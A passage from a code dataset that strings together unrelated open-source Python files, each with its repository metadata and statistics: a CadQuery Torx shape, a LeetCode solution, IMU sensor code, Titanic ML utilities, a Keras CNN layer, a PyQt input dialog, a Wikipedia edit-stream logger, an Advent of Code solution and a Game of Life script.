B*cos(4*pi/3)),(R*sin(phi+4*pi/3),R*cos(phi+4*pi/3))) \ .threePointArc((Rm*sin(9*pi/6),Rm*cos(9*pi/6)),(R*sin(5*pi/3-phi),R*cos(5*pi/3-phi))) \ .threePointArc((B*sin(5*pi/3), B*cos(5*pi/3)),(R*sin(phi+5*pi/3),R*cos(phi+5*pi/3))) \ .threePointArc((Rm*sin(11*pi/6),Rm*cos(11*pi/6)),(R*sin(6*pi/3-phi),R*cos(6*pi/3-phi))) \ .close() return res if __name__== "__main__": p = Pallet() ks = list(p.torx6.keys()) ks.reverse() a = cq.Workplane().circle(12).extrude(-3) for k in ks: a = a.union(p.torx(a.faces(">Z").workplane(),k).extrude(1))

48.308824

101

0.497717

626

3,285

2.592652

0.178914

0.05915

0.044362

0.029575

0.321627

0.149723

0.078866

0.045595

0.041898

0

0.111997

0.236225

3,285

68

102

48.308824

0.534874

0.040487

0

0.003175

0

1

0.067797

false

0

0.033898

0

0.152542

0

null

0

null

0

1

0

a8094575efb5f9d3bcb611dcb83074209e70f07f

478

py

Python

Algorithms/Easy/830. Positions of Large Groups/answer.py

KenWoo/Algorithm

4012a2f0a099a502df1e5df2e39faa75fe6463e8

[ "Apache-2.0" ]

null

Algorithms/Easy/830. Positions of Large Groups/answer.py

KenWoo/Algorithm

4012a2f0a099a502df1e5df2e39faa75fe6463e8

[ "Apache-2.0" ]

null

Algorithms/Easy/830. Positions of Large Groups/answer.py

KenWoo/Algorithm

4012a2f0a099a502df1e5df2e39faa75fe6463e8

[ "Apache-2.0" ]

null

from typing import List class Solution: def largeGroupPositions(self, S: str) -> List[List[int]]: l = [] start = end = 0 while start < len(S): while end < len(S) and S[start] == S[end]: end += 1 if end - start >= 3: l.append([start, end - 1]) start = end return l if __name__ == "__main__": s = Solution() result = s.largeGroupPositions("abc") print(result)

22.761905

61

0.493724

57

478

4

0.508772

0.105263

0

0.013468

0.378661

478

20

62

23.9

0.754209

0

0.023013

0

1

0.0625

false

0

0.0625

0

0.25

0.0625

0

null

0

null

0

1

0

a80a22c9f777e08edf7fe7ed83b93c4fd1e307bc

1,727

py

Python

imu.py

aume1/SatelliteTracker

62725e1d1a72a1350b2af15d9e33fcd574ceb3a2

[ "MIT" ]

2

2021-06-19T17:17:30.000Z

2021-06-19T17:17:39.000Z

imu.py

aume1/SatelliteTracker

62725e1d1a72a1350b2af15d9e33fcd574ceb3a2

[ "MIT" ]

null

imu.py

aume1/SatelliteTracker

62725e1d1a72a1350b2af15d9e33fcd574ceb3a2

[ "MIT" ]

1

2021-06-19T17:18:32.000Z

import time import math import py_qmc5883l import pigpio import adafruit_bmp280 from i2c_ADXL345 import ADXL345 import numpy as np from i2c_ITG3205 import Gyro class IMU: def __init__(self, pi): self.gyro = Gyro(pi) self.accel = ADXL345(pi) self.mag = py_qmc5883l.QMC5883L(pi) rpy = list(self.get_roll_pitch_yaw()) self._prev_time = time.time() def get_accel(self): return self.accel.get_xyz_accel() def get_gyro(self): return self.gyro.get_rotations() def get_mag(self): return self.mag.get_dir() def get_north(self): D = self.get_accel() D_mag = math.sqrt(D[0]**2 + D[1]**2 + D[2]**2) D = [x/D_mag for x in D] # D = [x for x in acc_unit] # used to be negative, flipped sensor so it is positive now E = np.cross(D, self.get_mag()) # east is the cross-product of down and the direction of magnet e_mag = math.sqrt(E[0]**2 + E[1]**2 + E[2]**2) E /= e_mag N = np.cross(E, D) # north is the cross-product of east and down n_mag = math.sqrt(N[0] ** 2 + N[1] ** 2 + N[2] ** 2) N /= n_mag return N def get_roll_pitch_yaw(self): x, y, z = self.get_accel() x_Buff = float(x) y_Buff = float(y) z_Buff = float(z) roll = 180 + math.atan2(y_Buff, z_Buff) * 57.3 pitch = math.atan2((- x_Buff), math.sqrt(y_Buff * y_Buff + z_Buff * z_Buff)) * 57.3 if roll > 180: roll -= 360 yaw = self.mag.get_bearing() return roll, pitch, yaw if __name__ == "__main__": pi = pigpio.pi('192.168.178.229') imu = IMU(pi) while True: print(imu.get_roll_pitch_yaw())

28.311475

104

0.579618

286

1,727

3.300699

0.307692

0.03178

0.050847

0.047669

0.105932

0

0.063167

0.294152

1,727

60

105

28.783333

0.711239

0.110596

0

0.015023

0

1

0.125

false

0

0.166667

0.0625

0.416667

0.020833

0

null

0

null

0

1

0

a80b6a8d0bacba13b3fe61daf36962d8ad3001a4

8,892

py

Python

src/titanic/tit_utils.py

buffbob/titanic

1e52814076ad78f6f9845d7b8f829889977a907b

[ "MIT" ]

null

src/titanic/tit_utils.py

buffbob/titanic

1e52814076ad78f6f9845d7b8f829889977a907b

[ "MIT" ]

null

src/titanic/tit_utils.py

buffbob/titanic

1e52814076ad78f6f9845d7b8f829889977a907b

[ "MIT" ]

null

import pandas as pd from sklearn.model_selection import GridSearchCV, train_test_split, cross_val_score from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import accuracy_score, classification_report import matplotlib.pyplot as plt import numpy as np import category_encoders as ce from sklearn.preprocessing import StandardScaler, LabelEncoder, OneHotEncoder, OrdinalEncoder def load_tit(path): """ downloads data from kaggle stored at path = "../Data/" returns a tuple of our titanic datasets- (train,test) """ train = pd.read_csv(path + 'tit_train.csv') test = pd.read_csv(path + "tit_test.csv") return (train, test) def gscv_results_terse(model, params, X_train, y_train, X_test, y_test): ''' clf = a classifier, params = a dict to feed to gridsearch_cv, score_list = list of evaluation metrics nuff said ''' scores = ["accuracy"] for score in scores: print("# Tuning hyper-parameters for %s" % score) clf = GridSearchCV(model, params, cv=10, scoring=score) clf.fit(X_train, y_train) print("Best parameters set found on development set: \n{}".format(clf.best_params_)) print('___________________________________') print('cv scores on the best estimator') scores = cross_val_score(clf.best_estimator_, X_train, y_train, scoring="accuracy", cv=10) print(scores) print('the average cv score is {:.3} with a std of {:.3}'.format(np.mean(scores), np.std(scores))) return clf def print_gscv_results(model, params, X_train, y_train, X_test, y_test): ''' clf = a classifier, params = a dict to feed to gridsearch_cv, score_list = list of evaluation metrics ''' scores = ["accuracy"] for score in scores: print("# Tuning hyper-parameters for %s" % score) print() clf = GridSearchCV(model, params, cv=5, scoring=score) clf.fit(X_train, y_train) print("Best parameters set found on development set:") print() print(clf.best_params_) print() print("Grid scores on development set:") print() means = clf.cv_results_['mean_test_score'] stds = clf.cv_results_['std_test_score'] for mean, std, params in zip(means, stds, clf.cv_results_['params']): print("%0.3f (+/-%0.03f) for %r" % (mean, std * 2, params)) print() print("Detailed classification report:") print() print("The model is trained on the full development set.") print("The scores are computed on the full evaluation set.") print() y_true, y_pred = y_test, clf.predict(X_test) print(classification_report(y_true, y_pred)) print('________________________________________________') print('best params for model are {}'.format(clf.best_params_)) print('\n___________________________________\n') print('cv scores on the best estimator') scores = cross_val_score(clf.best_estimator_, X_train, y_train, scoring="accuracy", cv=10) print(scores) print('the average cv score is {:.2}\n\n'.format(np.mean(scores))) return clf def visualize_classifier(model, X, y, ax=None, cmap='rainbow'): """ X is a 2D dataset nuf said """ ax = ax or plt.gca() # Plot the training points ax.scatter(X.iloc[:, 0], X.iloc[:, 1], c=y, s=30, cmap=cmap, clim=(y.min(), y.max()), zorder=3) ax.axis('tight') ax.axis('off') xlim = ax.get_xlim() ylim = ax.get_ylim() # fit the estimator model.fit(X, y) xx, yy = np.meshgrid(np.linspace(*xlim, num=200), np.linspace(*ylim, num=200)) Z = model.predict(np.c_[xx.ravel(), yy.ravel()]).reshape(xx.shape) # Create a color plot with the results n_classes = len(np.unique(y)) contours = ax.contourf(xx, yy, Z, alpha=0.3, levels=np.arange(n_classes + 1) - 0.5, cmap=cmap, clim=(y.min(), y.max()), zorder=1) ax.set(xlim=xlim, ylim=ylim) # this dataset has unique cols so we will go through one by one def pp_Embarked(df): """ simply adds 'C' where missing values are present inplace imputation return df """ df.Embarked.fillna("C", inplace=True) return df def pp_Name(df): """ extracts the title from the Name column returns- df with a new column named Title appended to original df """ temp = df.Name.apply(lambda x: x.split(',')[1].split(".")[0].strip()) df['Title'] = temp return df def pp_Age(df): """ imputes missing values of age through a groupby([Pclass,Title,isFemale]) returns df with new column named Age_nonull appended to it """ transformed_Age = df.groupby(["Title", 'Pclass', "Sex"])['Age'].transform(lambda x: x.fillna(x.median())) df['Age_nonull'] = transformed_Age return df def pp_Fare(df): ''' This will clip outliers to the middle 98% of the range ''' temp = df['Fare'].copy() limits = np.percentile(temp, [1, 99]) df.Fare = np.clip(temp, limits[0], limits[1]) return df def pp_AgeBin(df): """ takes Age_nonull and puts in bins returns df with new column- AgeBin """ z = df.Age_nonull.round() # some values went to 0 so clip to 1 binborders = np.linspace(0, 80, 17) z = z.clip(1, None) z = z.astype("int32") df['AgeBin'] = pd.cut(z, bins=binborders, labels=False) return df def pp_Sex(df): """ maps male and female to 0 and 1 returns the df with is_Female added """ df['is_Female'] = df.Sex.apply(lambda row: 0 if row == "male" else 1) # one way return df def pp_Cabin(df): """ extracts the deck from the cabin. Mostly 1st class has cabin assignments. Replace nan with "unk". Leaves as an ordinal categorical. can be onehoted later. returns the df with Deck added as a column """ df["Deck"] = "UNK" temp = df.loc[df.Cabin.notnull(), :].copy() temp['D'] = temp.Cabin.apply(lambda z: z[0]) df.iloc[temp.index, -1] = temp["D"] # df.where(df.Deck != "0", "UNK") return df def oneHot(df,col_list): for col in col_list: newcol_names = [] oh = OneHotEncoder(dtype="uint8",categories='auto') # must convert df/series to array for onehot vals = df[[col]].values temp = oh.fit_transform(vals).toarray()#converts sparse to normal array # the new names for columns for name in oh.categories_[0]: newcol_names.append(col + "_" + str(name)) tempdf = pd.DataFrame(temp, columns = newcol_names) df = pd.concat([df, tempdf], axis=1) return df def scaleNumeric(df, cols): """ Standardize features by removing the mean and scaling to unit variance """ ss = StandardScaler() scaled_features = ss.fit_transform(df[cols].values) for i, col in enumerate(cols): df[col + "_scaled"] = scaled_features[:, i] return df def chooseFeatures(df, alist): """ df is our dataframe with all new features added alist is a list of cols to select for a new dataframe returns df[alist] """ return df[alist] def test_dtc(alist, df, labels): """ tests a decision tree model for classification prints out way to much stuff returns a GridSearchCV classifier """ a = df[alist] # select columns X_train, X_test, y_train, y_test = train_test_split(a, labels, test_size=0.2, random_state=42) dtc = DecisionTreeClassifier() dtc_dict = dt_dict = [{"max_depth": [2, 5, 8, 12, 15], "min_samples_leaf": [1, 2, 3], "max_features": [None, 1.0, 2, 'sqrt', X_train.shape[1]]}] clf = gscv_results_terse(dtc, dtc_dict, X_train, y_train, X_test, y_test) return clf ######################################################### # some utilities functions to aid in ml in general def lin_to_log_even(min_num, max_num, num_pts=10): """ This really only needed in min_num << 1 and min_max >> 1 creates an evenly spaced log space from min_num to max_num """ lmin = np.log10(min_num) lmax = np.log10(max_num) ls = np.linspace(lmin, lmax, num_pts) log_spaces = np.power(10, ls) # print(["{:05f}".format(each) for each in log_spaces]) return log_spaces def lin_to_log_random(num1, num2, num_pts=10): """ This really only needed in min_num << 1 and min_max >> 1 creates an array of random selected pts of len num_pts each point is in the log space from min_num to max_num """ ln1 = np.log10(num1) ln2 = np.log10(num2) range_bn = np.abs(ln2 - ln1) z = ln2 + np.random.rand(num_pts) * -range_bn zz = np.power(10, z) print(["{:05f}".format(each) for each in zz]) return zz

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0.624944

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null

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null

0

1

0

a80cfdeae5dd9779dfdf75f7f464b230527883ae

1,167

py

Python

src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py

BoKleynen/P-O-3-Smart-Energy-Home

4849038c47199aa0a752ff5a4f2afa91f4a9e8f0

[ "MIT" ]

null

src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py

BoKleynen/P-O-3-Smart-Energy-Home

4849038c47199aa0a752ff5a4f2afa91f4a9e8f0

[ "MIT" ]

null

src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py

BoKleynen/P-O-3-Smart-Energy-Home

4849038c47199aa0a752ff5a4f2afa91f4a9e8f0

[ "MIT" ]

null

import matplotlib.pyplot as plt import pandas as pd from house.production.solar_panel import SolarPanel from house import House from math import pi from time import time start_time = time() solar_panel_east = SolarPanel(285.0, 10*pi/180, -pi/2, 0.87, 1.540539, 10) solar_panel_west = SolarPanel(285.0, 10*pi/180, pi/2, 0.87, 1.540539, 10) house = House([], solar_panel_tp=(solar_panel_east, solar_panel_west)) irradiance_df = pd.read_csv(filepath_or_buffer="C:\\Users\\Lander\\Documents\\KULeuven\\2e bachelor\\semester 1\\P&O 3\\P-O-3-Smart-Energy-Home\\data\\Irradiance.csv", header=0, index_col="Date/Time", dtype={"watts-per-meter-sq": float}, parse_dates=["Date/Time"] ) start = pd.Timestamp("2016-06-17 00:00:00") # end = pd.Timestamp("2017-04-21 23:55:00") end = pd.Timestamp("2016-06-17 23:55:00") times = pd.date_range(start, end, freq="300S") data = [house.power_production(t, irradiance_df) for t in pd.date_range(start, end, freq="300S")] # print(data) plt.plot(data) print(time() - start_time) plt.show()

33.342857

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1,167

3.994505

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null

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null

0

1

0

a813a7003f5f5d2c9a1b282747c12188d836b770

2,468

py

Python

src/lsct/models/cnn_1d.py

junyongyou/lsct_phiqnet

ffa546b3225c7db0bc7977565dc11a91186fe939

[ "MIT" ]

9

2021-11-01T06:06:33.000Z

2022-02-07T12:21:18.000Z

src/lsct/models/cnn_1d.py

junyongyou/lsct_phiqnet

ffa546b3225c7db0bc7977565dc11a91186fe939

[ "MIT" ]

null

src/lsct/models/cnn_1d.py

junyongyou/lsct_phiqnet

ffa546b3225c7db0bc7977565dc11a91186fe939

[ "MIT" ]

1

2022-03-06T07:38:32.000Z

from tensorflow.keras.layers import Layer, Conv1D, Input, Dropout, MaxPool1D, Masking import tensorflow.keras.backend as K from tensorflow.keras import Model import tensorflow as tf class CNN1D(Layer): def __init__(self, filters=(32, 64), pooling_sizes=(4, 4), kernel_size=3, stride_size=1, using_dropout=True, using_bias=False, dropout_rate=0.1, **kwargs): """ 1D CNN model :param filters: filter numbers in the CNN blocks :param pooling_sizes: max pooling size in each block :param kernel_size: kernel size of CNN layer :param stride_size: stride of CNN layer :param using_dropout: flag to use dropout or not :param using_bias: flag to use bias in CNN or not :param dropout_rate: dropout rate if using it :param kwargs: other config prams """ self.filters = filters self.kernel_size = kernel_size self.stride_size = stride_size self.using_dropout = using_dropout self.conv1d = [] self.pooling = [] self.dropout = [] for i, s_filter in enumerate(filters): self.conv1d.append(Conv1D(s_filter, kernel_size, padding='same', strides=stride_size, use_bias=using_bias, name='conv{}'.format(i) )) self.pooling.append(MaxPool1D(pool_size=pooling_sizes[i], name='pool{}'.format(i))) if using_dropout: self.dropout = Dropout(rate=dropout_rate) super(CNN1D, self).__init__(**kwargs) def build(self, input_shape): super(CNN1D, self).build(input_shape) def call(self, x, mask=None): for i in range(len(self.conv1d)): x = self.conv1d[i](x) x = self.pooling[i](x) if self.using_dropout: x = self.dropout(x) x = K.squeeze(x, axis=-2) return x def compute_output_shape(self, input_shape): return 1, self.filters[-1] if __name__ == '__main__': input_shape = (16, 5 * 256) filters = [32, 64, 128, 256] pooling_sizes = [2, 2, 2, 2] inputs = Input(shape=input_shape) x = CNN1D(filters=filters, pooling_sizes=pooling_sizes)(inputs) model = Model(inputs=inputs, outputs=x) model.summary()

37.393939

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2,468

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0.052941

0.027941

0.029412

0

0.027778

0.329011

2,468

65

113

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0.15316

0

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false

0

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0.021739

0.23913

0

null

0

null

0

1

0

a81435452d7a1fd0220c50904adbc5e774a45f27

931

py

Python

test/utils.py

eddrial/aapy

929f554aea24c0a893052f0907488e0a843fd5dd

[ "Apache-2.0" ]

null

test/utils.py

eddrial/aapy

929f554aea24c0a893052f0907488e0a843fd5dd

[ "Apache-2.0" ]

null

test/utils.py

eddrial/aapy

929f554aea24c0a893052f0907488e0a843fd5dd

[ "Apache-2.0" ]

null

import json import os import mock def mock_response(json_str=None, raw=None): resp = mock.MagicMock() if json_str is not None: loaded_json = json.loads(json_str) resp.json = mock.MagicMock(return_value=loaded_json) if raw is not None: resp.raw = mock.MagicMock() resp.raw.read = mock.MagicMock(return_value=raw) return resp def get_data_filepath(filename): """Construct filepath for a file in the test/data directory Args: filename: name of file Returns: full path to file """ return os.path.join(os.path.dirname(__file__), 'data', filename) def load_from_file(filename): """Load the contents of a file in the data directory. Args: filename: name of file to load Returns: contents of file as a string """ filepath = get_data_filepath(filename) with open(filepath) as f: return f.read()

21.159091

68

0.651987

133

931

4.428571

0.360902

0.088285

0.03056

0.081494

0.118846

0

0.26101

931

43

69

21.651163

0.856105

0.274973

0

0.006472

0

1

0.166667

false

0

0.166667

0

0.5

0

null

0

null

0

1

0

a81666f0e6701e07b7dd6f00c88fe2096ec32290

391

py

Python

archive/AIAP_v1.00/v1.2b/promoter_bin.py

ShaopengLiu1/Zhanglab_ATAC-seq_analysis

3f615c159bb04fcc3f7b777e00c5f04ff105898c

[ "MIT" ]

null

archive/AIAP_v1.00/v1.2b/promoter_bin.py

ShaopengLiu1/Zhanglab_ATAC-seq_analysis

3f615c159bb04fcc3f7b777e00c5f04ff105898c

[ "MIT" ]

null

archive/AIAP_v1.00/v1.2b/promoter_bin.py

ShaopengLiu1/Zhanglab_ATAC-seq_analysis

3f615c159bb04fcc3f7b777e00c5f04ff105898c

[ "MIT" ]

1

2018-02-26T03:14:46.000Z

import sys peak=[] with open(sys.argv[1],'r') as f: for line in f: line=line.strip('\n').split('\t') peak.append(int(line[3])) f.close() num=int(len(peak)/100.0) bin=[] for i in range(99): bin.append(str(i+1)+'\t'+str(sum(peak[num*i:num*(i+1)])/(num*1.0))+'\n') bin.append('100'+'\t'+str(sum(peak[num*99:])/(num*1.0))+'\n') with open('bin.txt','w') as f: f.writelines(bin) f.close

20.578947

73

0.59335

83

391

2.795181

0.409639

0.068966

0.060345

0.094828

0.12069

0

0.053824

0.097187

391

18

74

21.722222

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0

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0

1

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false

0

0.066667

0

0.066667

0

null

0

null

0

1

0

a8178087a6d24532c3fa392eae43c6d6a8b30612

4,595

py

Python

MultiInputDialog.py

chemmatcars/XModFit

7d1298448d1908d78797fd67ce0a00ecfaf17629

[ "MIT" ]

null

MultiInputDialog.py

chemmatcars/XModFit

7d1298448d1908d78797fd67ce0a00ecfaf17629

[ "MIT" ]

2

2019-07-31T23:14:14.000Z

2020-12-26T16:27:02.000Z

MultiInputDialog.py

chemmatcars/XModFit

7d1298448d1908d78797fd67ce0a00ecfaf17629

[ "MIT" ]

2

2019-07-31T22:22:06.000Z

2020-07-14T04:58:16.000Z

from PyQt5.QtWidgets import QWidget, QApplication, QPushButton, QLabel, QLineEdit, QVBoxLayout, QMessageBox, QCheckBox,\ QSpinBox, QComboBox, QListWidget, QDialog, QFileDialog, QProgressBar, QTableWidget, QTableWidgetItem,\ QAbstractItemView, QSpinBox, QSplitter, QSizePolicy, QAbstractScrollArea, QHBoxLayout, QTextEdit, QShortcut,\ QProgressDialog from PyQt5.QtGui import QPalette, QKeySequence, QDoubleValidator, QIntValidator from PyQt5.QtCore import Qt, QThread, QSignalMapper import sys import pyqtgraph as pg class MultiInputDialog(QDialog): def __init__(self, inputs={'Input':'default value'}, title='Multi Input Dialog', parent=None): QDialog.__init__(self, parent) self.setWindowTitle(title) self.inputs=inputs self.intValidator = QIntValidator() self.floatValidator = QDoubleValidator() self.createUI() def createUI(self): self.vblayout = QVBoxLayout(self) self.layoutWidget = pg.LayoutWidget() self.vblayout.addWidget(self.layoutWidget) self.labels={} self.inputFields={} for key, value in self.inputs.items(): self.labels[key] = QLabel(key) self.layoutWidget.addWidget(self.labels[key]) if type(value)==int: self.signalMapper1 = QSignalMapper(self) self.inputFields[key]=QLineEdit(str(value)) self.inputFields[key].setValidator(self.intValidator) self.inputFields[key].textChanged.connect(self.signalMapper1.map) self.signalMapper1.setMapping(self.inputFields[key], key) self.signalMapper1.mapped[str].connect(self.inputChanged) elif type(value)==float: self.signalMapper2 = QSignalMapper(self) self.inputFields[key]=QLineEdit(str(value)) self.inputFields[key].setValidator(self.floatValidator) self.inputFields[key].textChanged.connect(self.signalMapper2.map) self.signalMapper2.setMapping(self.inputFields[key], key) self.signalMapper2.mapped[str].connect(self.inputChanged) elif type(value)==bool: self.signalMapper3 = QSignalMapper(self) self.inputFields[key]=QCheckBox() self.inputFields[key].setTristate(False) self.inputFields[key].stateChanged.connect(self.signalMapper3.map) self.signalMapper3.setMapping(self.inputFields[key], key) self.signalMapper3.mapped[str].connect(self.inputStateChanged) elif type(value)==str: self.signalMapper4 = QSignalMapper(self) self.inputFields[key] = QLineEdit(value) self.inputFields[key].textChanged.connect(self.signalMapper4.map) self.signalMapper4.setMapping(self.inputFields[key], key) self.signalMapper4.mapped[str].connect(self.inputChanged) elif type(value)==list: self.signalMapper5 = QSignalMapper(self) self.inputFields[key] = QComboBox() self.inputFields[key].addItems(value) self.inputFields[key].currentTextChanged.connect(self.signalMapper5.map) self.signalMapper5.setMapping(self.inputFields[key], key) self.signalMapper5.mapped[str].connect(self.inputTextChanged) self.layoutWidget.addWidget(self.inputFields[key]) self.layoutWidget.nextRow() self.layoutWidget.nextRow() self.cancelButton = QPushButton('Cancel') self.cancelButton.clicked.connect(self.cancelandClose) self.layoutWidget.addWidget(self.cancelButton, col=0) self.okButton = QPushButton('OK') self.okButton.clicked.connect(self.okandClose) self.layoutWidget.addWidget(self.okButton, col=1) self.okButton.setDefault(True) def inputChanged(self, key): self.inputs[key]=self.inputFields[key].text() def inputStateChanged(self, key): if self.inputFields[key].checkState(): self.inputs[key]=True else: self.inputs[key]=False def inputTextChanged(self, key): self.inputs[key]=self.inputFields[key].currentText() print(self.inputs[key]) def okandClose(self): self.accept() def cancelandClose(self): self.reject() if __name__=='__main__': app = QApplication(sys.argv) dlg = MultiInputDialog(inputs={'value':100,'value2':10.0,'fit':True,'func':['Lor','Gau']}) dlg.show() sys.exit(app.exec_())

47.864583

120

0.654189

449

4,595

6.657016

0.289532

0.120442

0.138508

0.05353

0.264972

0.241552

0.128137

0.057544

0

0.009078

0.232862

4,595

96

121

47.864583

0.838865

0

0.045455

0

0.016536

0

1

0.079545

false

0

0.056818

0

0.147727

0.011364

0

null

0

null

0

1

0

a81b25109e2c25d80338be4ee486823e581a2347

3,813

py

Python

src/handlers.py

jneethling/WikiStats

232640bf3799851554fa4c13cee8a7f63eb532e2

[ "MIT" ]

null

src/handlers.py

jneethling/WikiStats

232640bf3799851554fa4c13cee8a7f63eb532e2

[ "MIT" ]

1

2022-01-09T12:07:13.000Z

2022-01-09T15:29:41.000Z

src/handlers.py

jneethling/WikiStats

232640bf3799851554fa4c13cee8a7f63eb532e2

[ "MIT" ]

null

import os import psutil import json import sqlite3 import threading from datetime import datetime, timezone from websocket import create_connection class CustomHandler: def __init__(self): self.working = False self.counter = 0 self.ws = None if self.dbReady('./data/wiki_statsDB'): self.setStatus(True, 'Function handler on standby') else: self.setStatus(False, 'Database error, cannot start service') def dbReady(self, path) -> bool: try: self.db = sqlite3.connect(path, check_same_thread=False) self.cursor = self.db.cursor() self.cursor.execute('''CREATE TABLE IF NOT EXISTS stats(\ id INTEGER PRIMARY KEY,\ country_name TEXT,\ change_size INTEGER)''') self.db.commit() return True except sqlite3.OperationalError: return False def worker(self, stop_event): while not stop_event.is_set(): result = self.ws.recv() country = None if "geo_ip" in result: j_dict = json.loads(result) geo = j_dict.get("geo_ip") country = geo.get("country_name") change = j_dict.get("change_size") if change is None: change = 0 if country is not None: self.cursor.execute('''INSERT INTO stats(country_name, change_size) VALUES(?,?)''', (country, change)) self.db.commit() self.counter += 1 def setStatus(self, status, msg): self.status = status self.message = msg def getStatus(self) -> json: stat_result = os.stat('./data/wiki_statsDB') modified = datetime.fromtimestamp(stat_result.st_mtime, tz=timezone.utc).strftime("%m/%d/%Y, %H:%M:%S") msg = {"Status": self.status, "Message": self.message, "Working in background": self.working, "Records in session": self.counter, "DB size (bytes)": stat_result.st_size, "Modified": modified} return msg def getMemory(self) -> json: memory = 1024 * 1024 proc = psutil.Process(os.getpid()) mem0 = proc.memory_info().rss msg = str(mem0/memory) + 'Mb' return {'Memory use': msg} def getTotals(self) -> json: data = {} self.cursor.execute('''SELECT country_name, SUM(change_size) FROM stats GROUP BY country_name''') for row in self.cursor: data[row[0]] = row[1] msg = json.dumps(data) return msg def getCounts(self) -> json: data = {} self.cursor.execute('''SELECT country_name, COUNT(country_name) FROM stats GROUP BY country_name''') for row in self.cursor: data[row[0]] = row[1] msg = json.dumps(data) return msg def stopWork(self) -> json: self.ws.close self.working = False self.kill_switch.set() self.t.join() self.setStatus(True, 'Function handler on standby') msg = 'Function handler background work stopped' return {'message': msg} def startWork(self) -> json: if self.working: msg = 'Function handler already working in background, ignoring request' return {"message": msg} else: self.ws = create_connection("ws://wikimon.hatnote.com:9000") self.working = True self.setStatus(True, 'Function handler working in background') self.kill_switch = threading.Event() self.t = threading.Thread(target=self.worker, args=(self.kill_switch,)) self.t.start() msg = 'Function handler background work started' return {'message': msg}

32.87069

199

0.575924

445

3,813

4.847191

0.332584

0.040797

0.031525

0.034771

0.203987

0.159481

0.121465

0.078813

0

0.009157

0.312615

3,813

115

200

33.156522

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0

0.228261

0

0.218988

0.007606

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0.108696

false

0

0.076087

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0.293478

0

null

0

null

0

1

0

a81fa302f2ff4cbc6dc18bbb647920f29a503d5e

1,897

py

Python

2017/23b.py

mcbor/advent_of_code_2016

14453b970d3e0f031ae6a66f2028652b6ed870dd

[ "MIT" ]

1

2016-12-17T10:53:22.000Z

2017/23b.py

mcbor/adventofcode

14453b970d3e0f031ae6a66f2028652b6ed870dd

[ "MIT" ]

null

2017/23b.py

mcbor/adventofcode

14453b970d3e0f031ae6a66f2028652b6ed870dd

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 23b.py ~~~~~~ Advent of Code 2017 - Day 23: Coprocessor Conflagration Part Two Now, it's time to fix the problem. The debug mode switch is wired directly to register a. You flip the switch, which makes register a now start at 1 when the program is executed. Immediately, the coprocessor begins to overheat. Whoever wrote this program obviously didn't choose a very efficient implementation. You'll need to optimize the program if it has any hope of completing before Santa needs that printer working. The coprocessor's ultimate goal is to determine the final value left in register h once the program completes. Technically, if it had that... it wouldn't even need to run the program. After setting register a to 1, if the program were to run to completion, what value would be left in register h? :copyright: (c) 2017 by Martin Bor. :license: MIT, see LICENSE for more details. """ import sys import math def is_prime(n): if n < 2: return False if n < 4: return True if n % 2 == 0 or n % 3 == 0: return False i = 5 for i in range(5, int(math.sqrt(n)) + 1, 6): if n % i == 0 or n % (i + 2) == 0: return False return True def solve(instructions): """Return value of h. Hand optimized. """ instr, reg, val = instructions.split('\n')[0].split() assert instr == 'set' assert reg == 'b' b = int(val) * 100 + 100000 start = b - 17000 end = b + 1 return sum(not is_prime(x) for x in range(start, end, 17)) def main(argv): if len(argv) == 2: f = open(argv[1], 'r') else: sys.stderr.write('reading from stdin...\n') f = sys.stdin print(solve(f.read().strip())) if __name__ == "__main__": sys.exit(main(sys.argv))

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0.032258

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null

0

null

0

1

0

a81fc289f1eb7f0a4f761bd960c55555bea22c98

4,456

py

Python

game_of_life.py

WinterWonderland/Game_of_Life

99eced42146a195b6a7bc423f76f0fd79f5771d2

[ "MIT" ]

null

game_of_life.py

WinterWonderland/Game_of_Life

99eced42146a195b6a7bc423f76f0fd79f5771d2

[ "MIT" ]

null

game_of_life.py

WinterWonderland/Game_of_Life

99eced42146a195b6a7bc423f76f0fd79f5771d2

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Thu Sep 20 11:59:50 2018 @author: klaus """ import numpy as np import matplotlib.pyplot as plt import time import random from argparse import ArgumentParser, RawTextHelpFormatter class GameOfLife: def __init__(self, width, height, interval, seed): random.seed(seed) self.height = height self.width = width self.interval = interval self.epoch = 0 self.board = np.zeros((self.height, self.width)) for x in range(int(self.width / 2 - self.width / 4), int(self.width / 2 + self.width / 4 + 1)): for y in range(int(self.height / 2 - self.height / 4), int(self.height / 2 + self.height / 4 + 1)): self.board[y][x] = random.choice([0, 1]) self.fig, self.ax = plt.subplots(figsize=(10, 10), num=1) self.fig.show() self.plot_board() def run(self): while self.run_step(): time.sleep(self.interval) def run_step(self): self.epoch += 1 new_board = self.board.copy() for x in range(self.width): for y in range(self.height): living_neighbors = self.board[y - 1 if y > 0 else self.height - 1][x - 1 if x > 0 else self.width - 1] + \ self.board[y - 1 if y > 0 else self.height - 1][x] + \ self.board[y - 1 if y > 0 else self.height - 1][x + 1 if x < self.width - 1 else 0] + \ self.board[y][x - 1 if x > 0 else self.width - 1] + \ self.board[y][x + 1 if x < self.width - 1 else 0] + \ self.board[y + 1 if y < self.height - 1 else 0][x - 1 if x > 0 else self.width - 1] + \ self.board[y + 1 if y < self.height - 1 else 0][x] + \ self.board[y + 1 if y < self.height - 1 else 0][x + 1 if x < self.width - 1 else 0] if self.board[y][x] == 0 and living_neighbors == 3: new_board[y][x] = 1 if self.board[y][x] == 1 and (living_neighbors < 2 or living_neighbors > 3): new_board[y][x] = 0 if (self.board == new_board).all(): return False self.board = new_board self.plot_board() return True def plot_board(self): print("Epoch:", self.epoch) self.ax.clear() self.ax.imshow(self.board, cmap="Greys", interpolation="None") self.fig.canvas.draw() self.fig.canvas.flush_events() if __name__ == "__main__": argument_parser = ArgumentParser(description=""" Game of Life: - Little python implementation of Conway's game of life. - The game board will be visualized with matplotlib. - See readme.md for more informations.""", epilog="https://github.com/WinterWonderland/Game_of_Life", formatter_class=RawTextHelpFormatter) argument_parser.add_argument("--width", metavar="", type=int, default=100, help="The width of the game board (default=100)") argument_parser.add_argument("--height", metavar="", type=int, default=100, help="The width of the game board (default=100)") argument_parser.add_argument("--interval", metavar="", type=float, default=0.3, help="Interval time between each step (default=0.3)") argument_parser.add_argument("--seed", metavar="", type=int, default=None, help="A seed for the random number generator to get identical play boards") 